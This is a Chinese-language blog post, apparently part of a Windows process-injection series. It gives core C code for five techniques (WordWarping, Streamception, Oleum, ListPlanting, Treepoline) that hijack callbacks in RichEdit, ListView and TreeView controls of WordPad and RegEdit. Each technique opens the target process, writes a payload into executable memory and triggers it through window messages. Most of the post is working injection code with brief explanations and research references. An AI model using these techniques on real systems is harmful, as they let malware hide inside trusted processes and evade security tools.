RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗体。RichEdit控件中有丰富的回调函数,处理不同消息。今天我们攻击的就是这些回调函数。

8.1.WordWarping

可以使用该EM_SETWORDBREAKPROC消息设置用于编辑RICHEDIT控件的自动包装程序回调函数。

核心代码:

// 1.获取写字板的主窗口
wpw = FindWindow(L"WordPadClass", NULL);
// 2.找到写字板的丰富编辑控件。
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 3.尝试获得换行功能的当前地址

wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4.获取写字板的进程ID。
GetWindowThreadProcessId(rew, &id);
// 5.尝试打开该过程。
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6.为有效负载分配RWX内存。
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7.写有效载荷到存储器
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8.更新回调过程
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
// 9.模拟键盘输入以触发有效负载

ip.type = INPUT_KEYBOARD;
ip.ki.wVk = 'A';
ip.ki.wScan = 0;
ip.ki.dwFlags = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;

SetForegroundWindow(rew);
SendInput(1, &ip, sizeof(ip));
// 10.恢复
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);

8.2.Streamception

typedef struct _editstream {
DWORD_PTR dwCookie;
DWORD dwError;
EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;

当丰富的编辑控件接收到该EM_STREAMIN消息时,它将使用EDITSTREAM结构中提供的信息将数据流传入或传出控件。该pfnCallback字段是类型的EDITSTREAMCALLBACK,可以指向内存中的有效负载。

核心代码:

// 1.获取窗口句柄
wpw = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 2.获取进程ID,然后尝试打开进程
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. 写入payload
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4.分配RW内存并在其中复制EDITSTREAM结构。
ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
es.dwCookie = 0;
es.dwError = 0;
es.pfnCallback = cs;
WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
// 5. EM_STREAMIN触发有效载荷
SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

8.3.Oleum

typedef struct _IRichEditOle_t {
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR GetClientSite;
ULONG_PTR GetObjectCount;
ULONG_PTR GetLinkCount;
ULONG_PTR GetObject;
ULONG_PTR InsertObject;
ULONG_PTR ConvertObject;
ULONG_PTR ActivateAs;
ULONG_PTR SetHostNames;
ULONG_PTR SetLinkAvailable;
ULONG_PTR SetDvaspect;
ULONG_PTR HandsOffStorage;
ULONG_PTR SaveCompleted;
ULONG_PTR InPlaceDeactivate;
ULONG_PTR ContextSensitiveHelp;
ULONG_PTR GetClipboardData;
ULONG_PTR ImportDataObject;
} _IRichEditOle;
_IRichEditOle_t中有很多函数指针,这些都可以成为我们的攻击目标。

核心代码:

// 1-3步同上
// 4. 为当前地址分配内存
ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 5.查询接口
SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
// 6.读存储器地址
ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
// 7.读IRichEditOle.lpVtbl

ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
// 8.读虚拟函数表
ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
// 9. 为虚表的副本分配内存
ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10.将GetClipboardData方法设置为有效载荷

reo.GetClipboardData = (ULONG_PTR)cs;
// 11.编写新的虚拟函数表来远程存储器
WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
// 12.更新IRichEditOle.lpVtbl

WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);
// 13.通过调用GetClipboardData方法 触发有效载荷
PostMessage(rew, WM_COPY, 0, 0);
// 14.恢复IRichEditOle.lpVtbl的原始值
WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

8.4.ListPlanting

可以使用LVM_SORTGROUPS,LVM_INSERTGROUPSORTED和LVM_SORTITEMS消息自定义ListView控件中的排序项。以下结构用于LVM_INSERTGROUPSORTED。
typedef struct tagLVINSERTGROUPSORTED {
PFNLVGROUPCOMPARE pfnGroupCompare;
void pvData;
LVGROUP lvGroup;
} LVINSERTGROUPSORTED,
PLVINSERTGROUPSORTED;

核心代码:

// 1-3步同上
lvm = FindWindow(L"RegEdit_RegEdit", NULL);
lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);
GetWindowThreadProcessId(lvm, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4.执行payload
PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);

8.5.Treepoline

可以通过TVM_SORTCHILDRENCB消息自定义排序。
typedef struct tagTVSORTCB {
HTREEITEM hParent;
PFNTVCOMPARE lpfnCompare;
LPARAM lParam;
} TVSORTCB , * LPTVSORTCB ;

核心代码:

//需要提升的权限
// 1-3步同上

// 4.获取 treelist

item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
tvs.hParent = item;
tvs.lpfnCompare = cs;
tvs.lParam = 0;
5.分配RW内存并复制TVSORTCB结构

ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
// 6. 执行payload
SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

参考文献

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf
https://modexp.wordpress.com/?s=Windows+Process+Injection%3A

https://github.com/odzhan/injection
http://www.hexacorn.com/blog/2018/11/19/propagate-yet-another-follow-up-hypothetical-clipboard-execution-version/
https://github.com/odzhan/injection/tree/master/svcctrl
http://www.hexacorn.com/blog/category/code-injection/page/4/

相关推荐: 应急响应

0x01前期情况调研 1.发生时间 询问客户或运维人员发现异常事件的具体时间,后续的操作要基于此时间点进行追踪分析。 2. 受影响系统类型 询问具体的操作系统类型及相关情况,以便后续的应急处置。 windows/linux OA系统/邮件系统/财务系统/官网等…